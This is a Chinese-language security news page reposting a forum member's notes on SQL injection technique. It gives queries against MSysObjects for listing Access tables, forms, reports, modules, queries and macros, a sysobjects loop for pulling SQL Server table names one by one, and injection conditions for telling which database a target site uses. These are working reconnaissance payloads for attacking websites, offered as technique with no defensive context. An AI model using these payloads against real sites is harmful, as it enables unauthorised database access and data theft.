English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 业界动态 >> 我的注入方法之个人见解!!!

 

我的注入方法之个人见解!!!

威盾防火墙 2015-01-12

 

黑基会员:visun

使用直接的查询语句获取ACCESS数据库中的表名/窗体/报表/模块/查询/宏
---------------------------------------------------------------------------
查询:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)=5 ORDER BY MSysObjects.Name;


窗体:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)=-32768 ORDER BY MSysObjects.Name;


表:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (Left$([Name],4) <> "Msys") AND (MSysObjects.Type)=1 ORDER BY MSysObjects.Name;


报表:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32764 ORDER BY MSysObjects.Name;


模块:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32761 ORDER BY MSysObjects.Name;


宏:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32766 ORDER BY MSysObjects.Name;
 

使用直接的查询语句获取SQL数据库表名的方法
-----------------------------------------------------------------------
我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048
select top 1 name from sysobjects where xtype=u and id>2099048
再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的
以此类推,我们可以得到所有的用户表的名字了

 

使用数据库的系统表对象来判断网站中使用的是何种数据库格式(SQL/ACCESS)
-----------------------------------------------------------------------
我们可以在注入串中加上一个查询语句:
(select count(*) from sysobjects)>=0
如果查询结果成立,即是使用SQL数据库的,反之否.


加以下语句可判断是否为ACCESS:
(select count(*) from Msysaccessobjects)>=0
如果查询结果成立,即是ACCESS数据库,反之否.


相关内容: 最新内容:
好用的PHP防注入漏洞过滤函数[2015-01-12]
实践有效的网站防SQL注入[2015-01-12]
网站安全:整站如何防止SQL注入方式入侵[2015-01-12]
守住你的网站:防御DDoS攻击指南[2015-01-12]
保护FTP服务器口令安全的迫在眉睫[2015-01-09]
Windows 2003 IIS打造FTP服务器攻略[2015-01-09]